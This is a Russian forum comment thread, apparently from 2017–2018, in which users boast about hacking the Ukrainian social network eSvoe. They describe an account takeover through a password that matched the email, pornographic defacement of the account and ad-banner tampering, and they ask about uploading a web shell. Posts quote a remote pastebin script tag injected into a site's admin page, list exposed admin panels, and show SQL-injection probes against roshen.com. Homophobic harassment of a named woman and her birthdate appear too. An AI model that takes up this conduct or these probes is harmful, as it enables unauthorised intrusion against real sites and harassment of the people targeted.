        Чувак, можно коротко, ты кто?
        Ответить

        • ava Stallman 07.10.2017 00:55 # +4

          Бородатый из того видео, насколько я понял.
          Ответить

    • ava inkanus-gray 07.10.2017 15:22 # +2

      http://archive.li/*.esvoe.com

      Просто оставлю это здесь.
      Ответить

    • ava turboblack 07.10.2017 19:34 # +1

      https://www.youtube.com/watch?v=q2Gx3rYB9lE украиноязычное видео, сборная солянка новых фактов
      Ответить

      • ava inkanus-gray 07.10.2017 19:46 # +2

        https://kvartal.lv/admin/users — что-то мне это напоминает...
        Ответить

        • ava turboblack 07.10.2017 19:48 # +1

          дааааа, знакомо ) неужели социалайт? тот самый?
          Ответить

          • ava inkanus-gray 07.10.2017 20:06 # +1 

            <script type="text/javascript" src="https://pastebin.com/raw/7VFsBFUS"></script>


            Даже без гей-порно. Это точно не AnalPerOral первым нашёл.

            P.S. Отсюда:
            https://kvartal.lv/admin/html_page?type=edit&id=1
            Ответить

            • ava AnalPerOral 07.10.2017 21:45 # 0

              Что именно не я первым нашёл?
              Ответить

              • ava inkanus-gray 07.10.2017 21:47 # +2

                kvartal.lv.

                Иначе бы на нём был Anal или Oral.
                Ответить

                • ava AnalPerOral 07.10.2017 21:51 # +1

                  Про этот сайт мне вообще не было известно - я сконцентрировался чисто на "eSvoe".
                  Ответить

                • ava AnalPerOral 07.10.2017 21:52 # 0

                  Кстати, никто ещё не понял, как загрузить web-шелл на "Pay"? Это как бы до смешного элементарно...
                  Ответить

        • ava Stallman 07.10.2017 20:04 # +2

          https://adminlte.io/
          Ну шаблончик швабодный, так что ничего удивительного. Но вот откуда они все этот дырявый бекенд тянут...
          Ответить

          • ava inkanus-gray 07.10.2017 20:21 # +1

            На euro.vet такую же дыру прикрыли. Хотя... кто знает.

            http://euro.vet/phpmyadmin/
            Ответить

            • ava SemaReal 11.10.2017 04:33 # +2

              Почему когда я вижу такой фейл и пиздец там всегда phpmyadmin, php и mysql?

              почему никогда не бывает oracle и scala?
              Ответить

              • ava vistefan 11.10.2017 10:21 # +1

                > там всегда mysql
                > никогда не бывает oracle
                Ты о чём?
                Ответить

              • ava AnalPerOral 11.10.2017 13:16 # +2

                http://lurkmore.to/ВиО#mws_49+KmaJ

                Пять лет назад мною был взломан ныне закрытый сервис вопросов и ответов от "Google" (http://otvety.google.ru). Уязвимость заключалась в обработке сохранённых на сервере данных от клиента JS-скриптом без экранирования спецсимволов вроде одинарной кавычки. Были взломаны сотни аккаунтов, в том числе и администраторский (оказалось, что у "cookies" отсутствовал флаг "HttpOnly", а сессии не привязывались к IP-адресу).
                Это была "Java". Это была неведомая невъебенная высоконагруженная БД (по некоторым предположениям, "PostgreSQL"). Наконец, это был "Google".
                Долбоёбов хватает везде, какими бы технологиями они не пользовались.
                Ответить

      • ava AnalPerOral 08.10.2017 14:37 # +1

        Всем бы было хорошо это видео, да только кого интересует, с кем и в какие дыры Леська трахается?
        Ответить

    • ava AnalPerOral 07.10.2017 22:38 # +4

      Пока я, как идиот, искал уязвимости и изучал все поддомены сайта, обладатели более живого ума сделали более простое и от этого гениальное открытие - пароль к официальному аккаунту Леськи в "eSvoe" (https://esvoe.com/strumchinska) совпадал с адресом электронной почты. Добрые люди решили помочь мне познакомить общественность с боди-артом и разместили в профиле фотографии весьма прелюбопытнейшего содержания. Мне, как первопроходцу, воздали должное и в обложку поместили найденную мною инсталляцию из трёх геев, подписав её.

      P.S.: Сам я войти уже не успел - какие-то шалуны сменили пароль.
      P.P.S.: Леська проспалась.
      Ответить

      • ava inho 07.10.2017 22:52 # +1

        > Дата народження: 1995-04-22

        Вот сучка!
        Ответить

        • ava turboblack 08.10.2017 14:36 # +1

          Ленин родился 22 апреля
          Ответить

          • ava inkanus-gray 08.10.2017 16:09 # +4

            Родился Ленин в солнечном апреле,
            Когда звенела музыкой капель.
            И землю нашу сделали добрее
            Апрель и Ленин, Ленин и апрель.
            Ответить

            • ava SemaReal 08.10.2017 18:18 # +3

              И Гитлер родился в апреле
              Ответить

              • ava inkanus-gray 08.10.2017 18:58 # +1

                Да вообще расплодились тут:
                https://ru.wikipedia.org/wiki/Категория:Родившиеся_22_апреля
                Ответить

                • ava turboblack 09.10.2017 11:24 # +1

                  возможно скоро вылезет на броневик, и речь толкнет
                  Ответить

      • ava inho 07.10.2017 23:00 # +2

        Не успел зарегаться, как мне какие-то боты-хацкеры дружбу предлагают.

        P.S. Какой у тебя акк? Хочу подписаться на тебя.
        Ответить

        • ava AnalPerOral 07.10.2017 23:05 # 0

          Нет смысла - я там не активничаю.
          Ответить

          • ava SemaReal 07.10.2017 23:56 # −2

            Конечно
            Ты же пассив
            Ответить

          • ava inho 08.10.2017 10:40 # +2

            Как это не активничаешь? А постит фоточки кто?
            Ответить

            • ava AnalPerOral 08.10.2017 11:54 # +2

              Но использующиеся для этого аккаунты я периодически меняю, так что подписываться не на кого и не на что.
              Ответить

    • ava AnalPerOral 08.10.2017 12:14 # +4

      https://add.esvoe.com

      Тем временем, в их баннерной сети полностью отсутствует фильтрация доступа к редактированию чужих рекламных баннеров, что открывает нам широкие возможности по взращиванию в обществе любви к красоте мужского тела.
      Ответить

      • ava Stallman 08.10.2017 13:50 # +2

        Пофиксили. Теперь там SSL_ERROR_RX_RECORD_TOO_LONG
        Ответить

        • ava AnalPerOral 08.10.2017 13:53 # 0

          Не "пофиксили", а как попало закрыли, лишь бы быстрее закрыть.
          Ответить

          • ava turboblack 08.10.2017 14:31 # +4

            привет! команда "разработчиков" соцсети есвое (имхо в к-ве 1 человека) уже читают эту портянку, так что рекомендую вам не рассказывать КАК вы это делаете, что бы не помогать секте свидетелей Струмчинской развивать сей "проект"
            Ответить

            • ava AnalPerOral 08.10.2017 14:36 # +3

              Я тоже думаю - лучше по факту и после исчезновения очередной дыры.
              Ответить

        • ava inkanus-gray 08.10.2017 14:41 # +3

          > SSL_ERROR_RX_RECORD_TOO_LONG

          У меня такую же ошибку пару дней назад выдавали Яндекс, mail.ru, Гугл, ВК, Твиттер — да вообще куча известных сервисов. Причём через пару часов ошибка исчезла.

          Что это было, я так и не понял. Может быть, провайдер хотел взломать зашифрованный канал?
          Ответить

      • ava turboblack 08.10.2017 14:38 # +3

        вчера, перед полночью узнал одну хорошую новость, оказывается список соцсетей, к-во подпижжиков на которых составляло от 20 тысяч и выше (их примерно десяток), которые работают на vii engine кто-то взломал. используюя те же ошибки. не знаешь кто? ))))))))
        Ответить

      • ava inkanus-gray 18.10.2017 12:37 # +1

        https://add.esvoe.com/admin

        Ожило.
        Ответить

    • ava inkanus-gray 08.10.2017 23:50 # +6

      ВНЕЗАПНО: http://www.esvoe.at/

      Der eSport Verband Österreich ist operativer Partner der eBundesliga.
      Ответить

    • ava AnalPerOral 09.10.2017 19:19 # +6

      Тем временем, как выяснилось, инноваторы, гении и специалисты по безопасности ещё две недели назад выложили движок сети со всеми своими модификациями на "GitHub".

      https://github.com/esvoe/esvoe.com
      https://github.com/esvoe/esvoe.com/search?utf8=%E2%9C%93&q=esvoe
      Ответить

      • ava SemaReal 11.10.2017 04:38 # +2

        https://github.com/esvoe/esvoe.com/commit/bbe9c5d2f948f7cdada20bcc77cac59e5051f774
        Ольга
        - <span>
        - набрала 53 очки у


        Верстуны еще заценят как модно чуваки мешают сеточку бутстрапа (col-xs-12 col-md-5") с height: 361px">

        >> composer update
        >> /usr/www/dev.esvoe.com/public"

        в 2017 году люди используют докер обычно, а не пишут вручную /usr/www, ох
        Ответить

    • ava turboblack 17.10.2017 18:01 # +5

      камрады запилили некислую статью про єсвоє
      наконец-то правда http://mc.today/ocherednuyu-ukrainskuyu-sotsset-na-dvizhke-za-45-vzlomali-investor-proekta-ranee-zanimalsya-onlajn-kazino/
      Ответить

      • ava d_fomenok 17.10.2017 18:53 # +6

        # скриншот с форума программистов

        Ну очешуеть теперь, ГКшечка форум программистов
        Ответить

        • ava Stallman 17.10.2017 19:04 # +6

          Дилетанты нередко так называют анимешные форумы.
          Ответить

          • ava Uzumaki 20.10.2017 01:30 # −1

            Йоу, пыхомакаки!
            Я Наруто Удзумаки!

            Раунд.
            Ответить

            • ava SemaReal 20.10.2017 03:03 # +6

              Анимешник хуже пхпаса
              Ответить

              • ava Stallman 20.10.2017 03:20 # +9

                Как что-то плохое. ПХП – современный надежный высокопроизводительный шаблонизатор высокоуровневый язык программирования, а аниме – жемчужина восточноазиатской мультипликации.
                Ответить

              • ava inho 20.10.2017 09:19 # +2

                Чаще всего анимешник - это крестоблядь.
                Ответить

                • ava SemaReal 20.10.2017 13:01 # +1

                  Нет. Бывает анимешник 1сник
                  Ответить

                  • ava dxd 20.10.2017 15:19 # +3

                    Но как, Шерлок? Анимешники же не выходят из дома и не представляют, что такое деньги.
                    Ответить

                    • ava SemaReal 21.10.2017 00:44 # +1

                      Это хикки не выходят.

                      А бывают не настоящие анимешники, а ванаби. Понимаешь?
                      Ответить

      • ava FrauSchweinhund 17.10.2017 22:42 # +4

        Посадют теперь страйкера на бутылку за организацию хакерского притона.

        «Нам насрати на нижчі істоти!» - пролунав пронизливий голос з боку параші.

        Але пацани, як завжди, не звернули уваги на це верескливе кукурікання. Нехай кукурікає, що з нього взяти?

        Півень - не людина, і сьогодні йому належить дуже важка ніч. У нього вже протягом півтора року кожна ніч була дуже важкою, і тепер його анус був розроблений настільки, що він без проблем міг заховати в ньому цілий шмат сала.
        Ответить

      • ava SemaReal 17.10.2017 22:45 # +4

        Надо ihno рассказать что он круто йхакер
        http://mc.today/wp-content/uploads/2017/10/Govnokod-23357-PHP-Govnokod.ru-1-1000x164.png
        Ответить

      • ava AnalPerOral 18.10.2017 04:26 # +4

        Что-то поздно очко взыграло. Две недели ждал, когда хоть какое-нибудь СМИ опозорит говносеть. Только забыл - и вот оно.
        Ответить

        • ava inho 18.10.2017 10:16 # +1

          Кроме тебя, много ещё хакиров работало?
          Ответить

          • ava AnalPerOral 18.10.2017 10:21 # 0

            Никто.
            Ответить

            • ava turboblack 18.10.2017 12:06 # +2

              пздж, чуть больше 20 человек на самом деле ковырялись параллельно тебе на сайте, в основном когда говнокошель прикрутили, просто у тебя все пафосно, устроил на єсвоє гэйпарад ))))) азаз

              было бы разумно дать отдышаться проекту, выйти из бэты (хотя врятли это произойдет), и потом хорошенько выебать, когда там уже лям народа (чего тоже не произойдет), а уже как - это интересный вопрос, поднасрать в соцсети самой же соцсети способов кульных тыща.

              имхо если бы этот сайт выжил, это было бы отличное место для сбора процентной статистики дебилов на территории Уа.

              лучший план - полный концертный зал "квартала" за счет оленечукчи, но это исключительно имхо.
              Ответить

              • ava SemaReal 20.10.2017 03:35 # −1

                Квартал это типа наших уральских пельменей?
                Ответить

                • ava inho 20.10.2017 09:17 # −1

                  Ага. Только уральские обычно не лезут в политоту.
                  Ответить

              • ava guest8 31.07.2018 11:27 # −999

                показать все, что скрытоvanished
                Ответить

                • ava turboblack 05.08.2018 10:07 # 0

                  несколько тысяч, немного. трудно сказать по скольку тогда когда им базу ломали то набили туда тыщи две с половиной фейков. так что думаю тот счетчик у них врет.
                  Ответить

      • ava roman-kashitsyn 20.10.2017 10:59 # +8

        > «Кто-то использовал обычное бета-тестирование, чтобы пропиарить себя как крутого хакера»

        анонимусам крайне важен пиар, ага
        Ответить

        • ava inkanus-gray 20.10.2017 15:22 # +2

          Судя по всему, в данном случае кто-то хотел пропиарить эндоскопы.

          https://www.accessdata.fda.gov/cdrh_docs/pdf14/K143556.pdf

          Fujifilm Double Balloon Endoscopes
          Model EN-530T
          This device is intended for the visualization of the
          upper and lower digestive tracts. Specifically, for
          the observation, diagnosis, and endoscopic
          treatment of the esophagus, stomach, duodenum,
          small intestine, large intestine and rectum.
          Insertion route: Per oral or trans anal.

          Ради этого и использовали обычное бета-тестирование.
          Ответить

          • ava turboblack 22.10.2017 17:42 # +4

            Per oral or trans anal - звучит как девиз сайта
            Ответить

            • ava CHayT 22.10.2017 17:59 # +5

              Per oral ad astra
              Ответить

              • ava bormand 22.10.2017 18:59 # +4

                #насосатьназвездолёт
                Ответить

                • ava CHayT 22.10.2017 19:10 # +2

                  Может это реклама эндоскопа, совмещённого с телескопом?
                  Ответить

                  • ava inkanus-gray 23.10.2017 17:43 # +1

                    Но зачем?
                    Ответить

                    • ava turboblack 24.10.2017 12:57 # +4

                      обратнопропорциональный подход к действию, как в РФ, если все через жопу и без того, то по чему не сделать сразу эту самую жопу началом маршрута.

                      жопа - звезды (с промежуточными остановками)

                      per ASS pera ad ASS tra
                      Ответить

        • ava bormand 20.10.2017 22:23 # +3

          > анонимусам крайне важен пиар
          Анонимус, как хайвмайнд в целом, не против попиариться.
          Ответить

          • ava Stallman 20.10.2017 22:43 # +7

            > Хакерская группа Anonymous объявила войну центробанкам мира
            https://geektimes.ru/post/275404/
            > Хакерская группа Anonymous объявила войну правительству Гонконга
            http://d-russia.ru/anonymous-obyavili-vojnu-pravitelstvu-gonkonga.html
            > Хакерская группа Anonymous объявила войну банкам Хорватии
            http://www.senica.ru/balkans/news/khakery-anonymous-nachali-ataki-na-khorvatskie-banki
            > Хакерская группа Anonymous объявила войну Северной Корее
            https://news.vse42.ru/feed/show/id/835002
            > Хакерская группа Anonymous объявила войну ИГИЛ
            https://tvzvezda.ru/news/vstrane_i_mire/content/201511171456-y46f.htm
            > Хакерская группа Anonymous объявила войну Дональду Трампу
            http://quibbll.com/27231-hakerskaya-gruppa-anonymous-obyavila-vojnu-donaldu-trampu/
            > Хакерская группа Anonymous объявила войну ЄСВОЄ
            http://mc.today/ocherednuyu-ukrainskuyu-sotsset-na-dvizhke-za-45-vzlomali-investor-proekta-ranee-zanimalsya-onlajn-kazino/
            Ответить

      • ava gost 21.10.2017 09:46 # +2

        #УСПЕХ
        Ответить

    • ava inkanus-gray 07.11.2017 22:13 # +3

      Офтопик.

      https://www.roshen.com/%27

      Результат:
      select url_to, header from rs_redirects where url_from like ''' limit 1
      SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' limit 1' at line 1
      Ответить

      • ava SemaReal 07.11.2017 22:17 # +5

        Ты уже пригласил туда "Джоннибросьбтаблицу"?

        >>зроблено з насолодою в OTAKOY
        OTAKOY хуйня, малята
        Ответить

        • ava CHayT 07.11.2017 22:28 # +3

          Ненужный комментарий: только он "Бобби".
          Ответить

        • ava inkanus-gray 07.11.2017 22:29 # +4

          Пыхомакаки (к их же счастью) не знают про mysqli_multi_query и, тем более, про PDO::MYSQL_ATTR_MULTI_STATEMENTS. Поэтому Джонни shall not pass.
          Ответить

          • ava bormand 07.11.2017 22:49 # +3

            > Джонни shall not pass.
            Но ведь всё можно исполнить подзапрос внутри where и вытрясти какую-то инфу из других табличек...
            Ответить

            • ava inkanus-gray 08.11.2017 17:43 # +2

              Кстати, я забыл ещё кое-что процитировать:
                                  select c.regions_id as regions_id, i.languages_id
                    from rs_content_info i
                    join rs_content c on  c.id=i.content_id
                    where i.url like '%27'
                    order by c.regions_id asc
                    limit 1

              Вот эта фигня появляется, когда заходишь без кукис, перед той фигнёй, которую я уже процитировал. С кукисами вторая фигня исчезает.
              Ответить

              • ava inkanus-gray 08.11.2017 17:49 # +1

                Почему-то в одном выхлопе апостроф отображается экранированным (%27), в другом — деэкранированным (').

                Короче, в select ... from rs_content_info сырые данные, а в select ... from rs_redirects — данные после unescape.
                Ответить

                • ava inkanus-gray 08.11.2017 17:56 # +2

                  https://www.roshen.com/%27%20or%20id=%27%D0%BE%D0%BB%D0%BE%D0%B B%D0%BE
                  Выхлоп: 
                  select i.content_id from rs_content_info i join rs_content c on c.id=i.content_id and c.regions_id=2 where i.url = '' or id='ололо' and i.languages_id='1' limit 1
SQLSTATE[23000]: Integrity constraint violation: 1052 Column 'id' in where clause is ambiguous
                  Ответить

                • ava bormand 08.11.2017 19:32 # +2

                  А пых разве не автоматом эскейпы со входных параметров снимает?
                  Ответить

                  • ava inkanus-gray 08.11.2017 20:43 # +2

                    Не знаю. Я пыхомакака. Обычно всё работает. Если что-то сыплет ворнингами, то я перед строкой кода вставляю собачку.

                    $_REQUEST, $_GET, $_POST автоматом снимают эскейпы.

                    $_SERVER["REQUEST_URI"], $_SERVER["QUERY_STRING"] возвращают сырую строку со всеми эскейпами.
                    Ответить

                    • ava AnalPerOral 08.11.2017 23:42 # +5

                      >>>"Если что-то сыплет ворнингами, то я перед строкой кода вставляю собачку."

                      Дабы не разводить псарню, я ограничиваюсь лишь двумя строками в начале инициализационного файла:

                      error_reporting(0);
ini_set('display_errors', '0');
                      Ответить

                      • ava SemaReal 08.11.2017 23:46 # +4

                        Ну так у тебя опыт же, а новички часто ставят собачку.
                        А зачем? Дурацкие нотисы и ворнинги все равно никому не нужны
                        Ответить

                    • ava SemaReal 08.11.2017 23:47 # +4

                      >>$_SERVER["REQUEST_URI"],
                      как-то многобуквенно

                      надо включить register_globals и тогда будет $user_name сразу
                      Ответить

                      • ava AnalPerOral 09.11.2017 01:00 # +2

                        Я бы не рекомендовал использовать данную директиву, так как при её включении у злоумышленников появляется возможность перезаписывать системные переменные сайта путём их указания в строке запроса.
                        Ответить

                  • ava SemaReal 08.11.2017 22:22 # +3 

                    http://php.net/manual/ru/security.magicquotes.php
                    Ответить

        • ava inkanus-gray 08.11.2017 21:18 # +2

          «OYi.Engine 5.0» — это пятое поколение системы управления сайтами, созданной компанией — Отакої.ком. Система написана на языках программирования PHP и JavaScript, поддерживает технологию динамической загрузки изменений AJAX. В качестве хранилища данных используется MySQL.

          «OYi.Engine 5.0» сочетает в себе современный дизайн и надежную, многофункциональную программную разработку. Главными отличиями «OYi.Engine 5.0» от других систем управления сайтами, является большой уровень защиты, скорость работы и низкий уровень потребления ресурсов.

          Удобный и интуитивно понятный интерфейс

          Благодаря большому количеству подсказок, интуитивным иконкам, логически выстроенной структуре, работать с системой одинаково удобно как опытным администраторам так и абсолютным новичкам без специализированных знаний.
          Ответить

        • ava inkanus-gray 09.11.2017 15:48 # +2

          https://www.roshen.com/route/search/ajaxSearch/?q=a

          Notice: Undefined variable: sq in /home/roshd/web/roshen.com/public_html/modules/search/controllers/Search.php on line 121

          Warning: Invalid argument supplied for foreach() in /home/roshd/web/roshen.com/public_html/modules/search/models/Search.php on line 17
          select c.id, ci.name, ci.intro, c.subtypes_id as type from rs_content_info ci join rs_content c on c.id = ci.content_id and c.status='published' where and ci.languages_id = 1 and c.regions_id = 2 and c.searchable=1 and c.types_id in (1,3) order by ci.name asc limit 0, 6
          SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'and ci.languages_id = 1 and c.regions_id = 2 and c.searchable=1 and c.types_id i' at line 4
          Ответить

          • ava inkanus-gray 09.11.2017 16:24 # +2

            От така фигня при любом однобуквенном поисковом запросе.
            Ответить

            • ava SemaReal 09.11.2017 17:22 # +3

              Вероятно у Петра Алексеевича не было денег на серьезных программистов, пришлось нанять студентов, вчера прочитавших книжку "пхп за 24 часа"
              Ответить

          • ava AnalPerOral 09.11.2017 17:13 # +2

            >>>"/home/roshd/web/roshen.com/public_html/modules/search/controllers/Search.php"
            >>>"modules"
            >>>"controllers"

            Зато соблюдён MVC. Это, несомненно, важнее всего.
            Ответить

            • ava SemaReal 09.11.2017 17:23 # +3

              не нужно путать models и modules :)

              На самом деле MVC никак не освещает персистенцию данных, а значит на возможность инъекции никак не влияет
              Ответить

        • ava inkanus-gray 09.11.2017 16:23 # +1

          https://www.roshen.com/phpmyadmin/

          Всё, как ожидалось.
          Ответить

          • ava 1024-- 09.11.2017 16:42 # +2

            Вы им уже сообщили? Нехорошо, если у производителя продукции мирового уровня такая безопастнушня творится.
            Ответить

            • ava AnalPerOral 09.11.2017 17:11 # +2

              Зачем? Из обычного развлечения для собственного удовольствия это уже превращается в бесплатное оказание дорогостоящей услуги пентестинга.
              Ответить

              • ava SemaReal 09.11.2017 17:23 # +4

                А сколько обычно берут за пентестинг эксперты по безопасности? Ты сколько берешь?
                Ответить

              • ava 1024-- 09.11.2017 17:43 # +1

                Когда подробности об уязвимости публикуются на заборе, это уже не собственное удовольствие, а подлый поступок и небольшое преступление. Развлекаться можно у себя дома, не принося вреда уязвимой питушне и никому не сообщая о своих находках.
                Что важно, человека скорее всего не просили туда лезть. Я понимаю, если бы попросили, заключили договор, а потом кинули, но тут личная инициатива.
                Ответить

                • ava SemaReal 09.11.2017 17:52 # +2

                  А где тут уязвимость, кстати?

                  Это просто глупое, некорректное поведение сайта. Можно получить некоторую полезную информацию (layout проекта на фс, имя пользователя (roshd)) итд. Но вот дефейснуть или украсть пароли или включить сайт в ботнет или сделать его инструментов ddos -- этого пока у нас не получилось
                  Ответить

                  • ava AnalPerOral 09.11.2017 17:53 # +4

                    Но мы работаем над этим?
                    Ответить

                  • ava 1024-- 09.11.2017 18:21 # +2

                    Там сверху был комментарий про %27 и возможность SQL-инъекций, с чего всё началось.
                    Ответить

                • ava AnalPerOral 09.11.2017 17:53 # 0

                  >>>"Развлекаться можно у себя дома, не принося вреда уязвимой питушне и никому не сообщая о своих находках."

                  Недавно нашумевший новосибирский обсос, корректировавший свои оценки в "электронном дневнике", именно этому правилу и следовал; однако по некой причине даже такой паинька ментам не угодил.
                  Ответить

                  • ava 1024-- 09.11.2017 18:24 # +4

                    > корректировавший свои оценки
                    Он, получается, уязвимостью пользовался. Это не просто сидеть у себя дома и искать дыры.
                    Ответить

                  • ava bormand 10.11.2017 05:47 # +6

                    Лучше бы юзерскрипт написал, чтобы родителям пятёрки показывать.
                    Ответить

            • ava SemaReal 09.11.2017 17:24 # +6

              Я сообщил уже. Мне годовой запас шоколада подарили
              Ответить

          • ava guest8 31.07.2018 11:23 # −999

            показать все, что скрытоvanished
            Ответить

    • ava guest8 28.07.2018 23:53 # −999

      показать все, что скрытоvanished
      Ответить

      • ava KOHTPArEHTTBOEuMAMKu 29.07.2018 00:02 # 0

        Это мелочи. Когда у них был открыт "phpMyAdmin", а пароль к базе данных находился в открытом XML-файле - это была куда более эпичная мякотка.
        Ответить

        • ava turboblack 05.08.2018 10:13 # 0

          а тот случай когда Струмчинская логин и пароль поставила одинаковые, и ей эйпик гейпорно влепили на странице вот это был угар ))))
          специалистка по кибербезопасности ахаха. она щас еще и проводит какие-то школы симпозиумы, ваще совести у нее нет
          Ответить

    • ava guest8 31.07.2018 11:31 # −999

      показать все, что скрытоvanished
      Ответить

      • ava roskomgovno 01.08.2018 19:07 # +1

        >>,Junior PHP розробники для роботи над проектом
        реально? PHP джуниор для написания социальной сети национальной?
        Ответить

      • ava guest8 01.08.2018 20:55 # −999

        показать все, что скрытоvanished
        Ответить

        • ava guestinxo 01.08.2018 21:02 # 0

          Приходишь и уходишь когда хочешь (в разумных пределах). Главное чтобы какая-то часть рабочего времени пересекалась со временем коллег.
          Ответить

        • ava turboblack 05.08.2018 10:16 # 0

          айтишники как правило удаленно работают. не вижу смысла сидеть на рабочем месте просто по тому что надо занять кресло )))
          но почему-то практика рабочего графика на многих фирмах есть. и у сисадминов так же
          Ответить

          • ava roskomgovno 06.08.2018 04:11 # −2

            Никогда не понимал людей, которым нравится работать удаленно.
            В офисе кофе, еда, кондиционер, удобное кресло, коллеги, с которыми можно что-то обсудить.

            Зачем от этого всего отказываться? Чтобы из дому не выходить лишний раз?
            Ответить

            • ava HighVoltageDick 06.08.2018 04:21 # 0

              Лично я, во-первых, не выношу чьё-либо общество рядом с собою, если оно продолжается более пяти минут, во-вторых всегда выбешивал характерный неформальный подход во всех вакансия на офисную должность программиста: "Предоставляем полный социальный пакет, оплачиваем дорогу, А ЕЩЁ У НАС ВСЕГДА ПЕЧЕНЬКИ И ЙОГУРТЫ В НЕОГРАНИЧЕННОМ КОЛИЧЕСТВЕ, А ТАКЖЕ СПОРТЗАЛ, БИНБЭГИ И БЕСПЛАТНЫЕ ТРЕНИНГИ ЛИЧНОСТНОГО РОСТА (мы ведь хотим, чтобы благодаря этим тренингам вы стали лучше нас и конкурировали бы с нами)".
              Кроме того, я отрицаю так называемых "тимлидов", которые неизбежно присутствуют в офисах. С какой стати мою работу будет контролировать какой-то блатной хуец, целыми днями плюющий в потолок, читающий "Хабрахабр", и навязывающий мне идеи о том, что, дескать, "PHP" устарел и пора переходить на модненький и влажненький "NodeJS".
              Ответить

              • ava roskomgovno 06.08.2018 04:23 # −1

                Я тоже не люблю общество, и потому сижу в углу комнаты.

                Всякую корпоративную фигню вроде дружной игры в кикер я тоже обычно игнорирю, впрочем почему бы не съесть йогурт?
                Ответить

                • ava HighVoltageDick 06.08.2018 04:26 # 0

                  Дубль дополнения с целью прочтения тобою:

                  Кроме того, я отрицаю так называемых "тимлидов", которые неизбежно присутствуют в офисах. С какой стати мою работу будет контролировать какой-то блатной хуец, целыми днями плюющий в потолок, читающий "Хабрахабр", и навязывающий мне идеи о том, что, дескать, "PHP" устарел и пора переходить на модненький и влажненький "NodeJS".
                  Ответить

                  • ava roskomgovno 06.08.2018 04:27 # −1

                    Хорошо что моему тимлиду похую и на хабр, и на пых и на nodejs, а порой мне кажется что и на меня ему тоже похуй)
                    Ответить

                    • ava HighVoltageDick 06.08.2018 04:27 # 0

                      Похуизм лучше внимания.
                      Ответить

                      • ava roskomgovno 06.08.2018 04:30 # −1

                        Ну в общем да.
                        У нас считается что если программист не полный мудак, то он сам выполнит обещанную работу к следующему релизу, разве что ревьюировать код надо (потому что одни глаза хорошо, а два лучше)

                        А если он полный мудак, то ему никакой тимлид не поможет.
                        Ответить

                        • ava HighVoltageDick 06.08.2018 04:33 # +1

                          >>>"разве что ревьюировать код надо"

                          На предмет уязвимостей, неоптимизации и утечек памяти, или же, как обычно, чтобы все влажные отступы были на месте?
                          Ответить

                          • ava roskomgovno 06.08.2018 04:37 # −1

                            Влажные отступы можно проверить автоматически, тем более что мы пишем в Intellij, а там автоформат:)

                            Проверяют обычно на:

                            * Неправильное использование API. Более древний программист может знать более лучшие способы что-то сделать

                            * Проёбы по перформанс: один раз я написал алгоритм с экспоненциальной сложностью и запустил его на UI треде, и всё стало раком.

                            * Говнокод. Ну, если ревьюер не может понять что ты написал то вероятно надо переписать.

                            * На мелкие тупые ошибки (забыл что-нить где-нить освободить)

                            * Чтоб тесты были)
                            Ответить

                          • ava roskomgovno 06.08.2018 04:44 # −1

                            зы: еще на мультитрединг

                            Многопоточный код обычно ревьят особо тщательно, потому что тестами его сложно проверить
                            Ответить

              • ava bormand 06.08.2018 07:07 # 0

                > БИНБЭГИ
                Что за бигбэнги?
                Ответить

                • ava HighVoltageDick 06.08.2018 07:12 # 0

                  Какие-то мусорные мешки для использования их вместо кресел.
                  Ответить

                • ava roskomgovno 06.08.2018 18:08 # 0

                  >>Что за бигбэнги?

                  Ты, может быть, еще и в барбершоп не ходишь? И смузи со сморребродами не ешь? И в настолки на тимбилдинге не играешь?
                  Ответить

                  • ava guest8 06.08.2018 18:30 # −999

                    показать все, что скрытоvanished
                    Ответить

                  • ava guest8 06.08.2018 19:34 # −999

                    показать все, что скрытоvanished
                    Ответить

                  • ava Desktop 06.08.2018 20:28 # +1

                    Настолки-то тебе чем не угодили?
                    Ответить

                    • ava roskomgovno 06.08.2018 22:02 # 0

                      Я ничего не имею против настолок, просто это обязательный атрибут современной молодежи
                      Ответить

                      • ava roman-kashitsyn 06.08.2018 22:46 # 0

                        Эх, я уже не молод: мне становится скучно на второй минуте объяснения правил
                        Ответить

                      • ava turboblack 07.08.2018 15:56 # 0

                        я вот имею. современная молодежь богата на выебоны в жратве, перемещении, и обогащении в кавычках рабочей области всякой разной хуйней типо это все каким-то образом повышает корпоративный дух? нахер он нужен? главное прийти на работу, сделать ее, и удачно от туда вовремя свалить, и получить за это деньги. все. а смузи можно без пафоса и инстаграма дома в тихой уютной обстановке сожрать.
                        Ответить

                        • ava 1024-- 07.08.2018 19:16 # +1

                          Должны сойтись интересы сотрудников, чтобы они сами устраивали корпоративный дух.
                          Собрались любители кино - скинулись на проектор и по вечерам смотрят фильмы.
                          Собрались любители настольных игр (те, кто на работе плюют в потолок, оставляя силы на разбор брошюр с хитрожопыми правилами) - организовали на лишнем столе свой клуб, и в течение дня могут раз-другой сразиться.
                          Собрались любители поработать - скинулись на мягкие кресла и мягкие игрушки с антистресс-гранулами - сидят, мнут, друг другу не мешают.

                          Если корпоративный дух построился именно таким образом, а не приказом свыше - не имею ничего против. Иначе стоит найти другую контору, где свыше приказали делать то, что тебе нравится.
                          Ответить

              • ava turboblack 07.08.2018 16:03 # +1

                вот скажем выспаться нормально за счет дороги туда-назад. это раз. дома ты можешь питаться чем хочешь и когда хочешь, а карпаратиффный дух это гламурная гастрономическая показуха. все жрут какие-то пездопративные ёгурты со смузЯми, или вообще бичпакет+сарделька. нахер такое овно. я хочу домашних драников с чесноком, борща, и голубцы. при этом не в ущерб работе пивка выпить. или сотку треснуть к борщу.

                еще любопытно то, что дома не нужен фейсконтроль, эти выстриженные бороды, хвостики эти сраные, закатанные джинсы, рванина эта, и остальной пафосный шлак. а дома можно сесть у ноута в халате, вывалить яйцо на кресло, и одним глазом смотреть в работу, другим в порно. и хуй тебе кто что скажет.

                плюсы дома - ты дома.
                минусы пребывания на работе - тебя могут попросить остаться "доделывать", а дома ты можешь съехать на отключившийся интернет, или же просто нажать кнопку выкл. в этом прелесть интернета. не в том что он есть, а в том что его можно выключить.

                ну и наилучшая из причин работать из дома - ты можешь пойти в душ посреди рабочего дня. сделай такое в своем карпаратиффном офисе?
                Ответить

                • ava roman-kashitsyn 07.08.2018 16:17 # 0

                  > ты можешь пойти в душ посреди рабочего дня. сделай такое в своем карпаратиффном офисе?

                  Я, пожалуй, промолчу
                  Ответить

                • ava 666_N33D135 07.08.2018 16:24 # 0

                  > вывалить яйцо на кресло,
